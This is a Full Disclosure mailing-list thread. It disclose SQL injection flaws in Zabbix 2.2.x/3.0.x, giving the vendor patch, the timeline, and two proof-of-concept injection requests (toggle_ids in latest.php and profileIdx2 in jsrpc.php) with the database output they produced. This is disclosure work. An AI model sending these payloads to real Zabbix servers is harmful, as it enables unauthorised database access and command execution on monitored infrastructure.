Re: Zabbix 2.2.x, 3.0.x SQL Injection Vulnerability

[1n3 () hushmail com]

Which version of Zabbix? 3.0.3? 

-1N3

On 8/12/2016 at 7:22 PM, "Brandon Perry" <bperry.volatile () gmail com> wrote:
> I actually ended up finding this vuln in a different vector (in 
> the profileIdx2 parameter).
>
> /zabbix/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&tim
> estamp=1471054088083&mode=2&screenid=&groupid=&hostid=0&pageFile=hi
> story.php&profileIdx=web.item.graph&profileIdx2=2’3297&updateProfil
> e=true&screenitemid=&period=3600&stime=20170813040734&resourcetype=
> 17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&
> mark_color=1
>
>
> <div class="flickerfreescreen" data-timestamp="1471054088083" 
> id="flickerfreescreen_1"><table class="list-table" 
> id="t57ae81946b8cb"><thead><tr><th class="cell-
> width">Timestamp</th><th>Value</th></tr></thead><tbody><tr 
> class="nothing-to-show"><td colspan="2">No data 
> found.</td></tr></tbody></table></div><div class="msg-bad"><div 
> class="msg-details"><ul><li>Error in query [INSERT INTO profiles 
> (profileid, userid, idx, value_int, type, idx2) VALUES (39, 1, 
> 'web.item.graph.period', '3600', 2, 2'3297)] [You have an error in 
> your SQL syntax; check the manual that corresponds to your MySQL 
> server version for the right syntax to use near ''3297)' at line 
> 1]</li><li>Error in query [INSERT INTO profiles (profileid, 
> userid, idx, value_str, type, idx2) VALUES (40, 1, 
> 'web.item.graph.stime', '20160813041028', 3, 2'3297)] [You have an 
> error in your SQL syntax; check the manual that corresponds to 
> your MySQL server version for the right syntax to use near 
> ''3297)' at line 1]</li><li>Error in query [INSERT INTO profiles 
> (profileid, userid, idx, value_int, type, idx2) VALUES (41, 1, 
> 'web.item.graph.isnow', '1', 2, 2'3297)] [You have an error in 
> your SQL syntax; check the manual that corresponds to your MySQL 
> server version for the right syntax to use near ''3297)' at line 
> 1]</li></ul></div><span class="overlay-close-btn" 
> onclick="javascript: $(this).closest('.msg-bad').remove();" 
> title="Close"></span></div>
>
>
> Similarly, it requires auth unless you enable Guest.
>
>
> > On Aug 11, 2016, at 7:23 PM, 1n3 () hushmail com wrote:
> >
> > =========================================
> > Title: Zabbix 3.0.3 SQL Injection Vulnerability
> > Product: Zabbix
> > Vulnerable Version(s): 2.2.x, 3.0.x
> > Fixed Version: 3.0.4
> > Homepage: http://www.zabbix.com
> > Patch link: https://support.zabbix.com/browse/ZBX-11023
> > Credit: 1N3@CrowdShield
> > ==========================================
> >
> >
> > Vendor Description:
> > =====================
> > Zabbix is an open source availability and performance monitoring 
> solution.
> > Vulnerability Overview:
> > =====================
> > Zabbix 2.2.x, 3.0.x and trunk suffers from a remote SQL 
> injection vulnerability due to a failure to sanitize input in the 
> toggle_ids array in the latest.php page.
> > Business Impact:
> > =====================
> > By exploiting this SQL injection vulnerability, an authenticated 
> attacker (or guest user) is able to gain full access to the 
> database. This would allow an attacker to escalate their 
> privileges to a power user, compromise the database, or execute 
> commands on the underlying database operating system.
> > Because of the functionalities Zabbix offers, an attacker with 
> admin privileges (depending on the configuration) can execute 
> arbitrary OS commands on the configured Zabbix hosts and server. 
> This results in a severe impact to the monitored infrastructure.
> > Although the attacker needs to be authenticated in general, the 
> system could also be at risk if the adversary has no user account. 
> Zabbix offers a guest mode which provides a low privileged default 
> account for users without password. If this guest mode is enabled, 
> the SQL injection vulnerability can be exploited unauthenticated.
> > Proof of Concept:
> > =====================
> latest.php?output=ajax&sid=&favobj=toggle&toggle_open_state=1&toggl
> e_ids[]=15385); select * from users where (1=1
> > Result:
> > SQL (0.000361): INSERT INTO profiles (profileid, userid, idx, 
> value_int, type, idx2) VALUES (88, 1, 'web.latest.toggle', '1', 2, 
> 15385); select * from users where (1=1)
> > latest.php:746 → require_once() → CProfile::flush() → 
> CProfile::insertDB() → DBexecute() in /home/sasha/zabbix-
> svn/branches/2.2/frontends/php/include/profiles.inc.php:185
> > Disclosure Timeline:
> > =====================
> >
> > 7/18/2016 - Reported vulnerability to Zabbix
> > 7/21/2016 - Zabbix responded with permission to file CVE and to 
> disclose after a patch is made public
> > 7/22/2016 - Zabbix released patch for vulnerability
> > 8/3/2016 - CVE details submitted
> > 8/11/2016 - Vulnerability details disclosed
> >
> >
> > _______________________________________________
> > Sent through the Full Disclosure mailing list
> > https://nmap.org/mailman/listinfo/fulldisclosure
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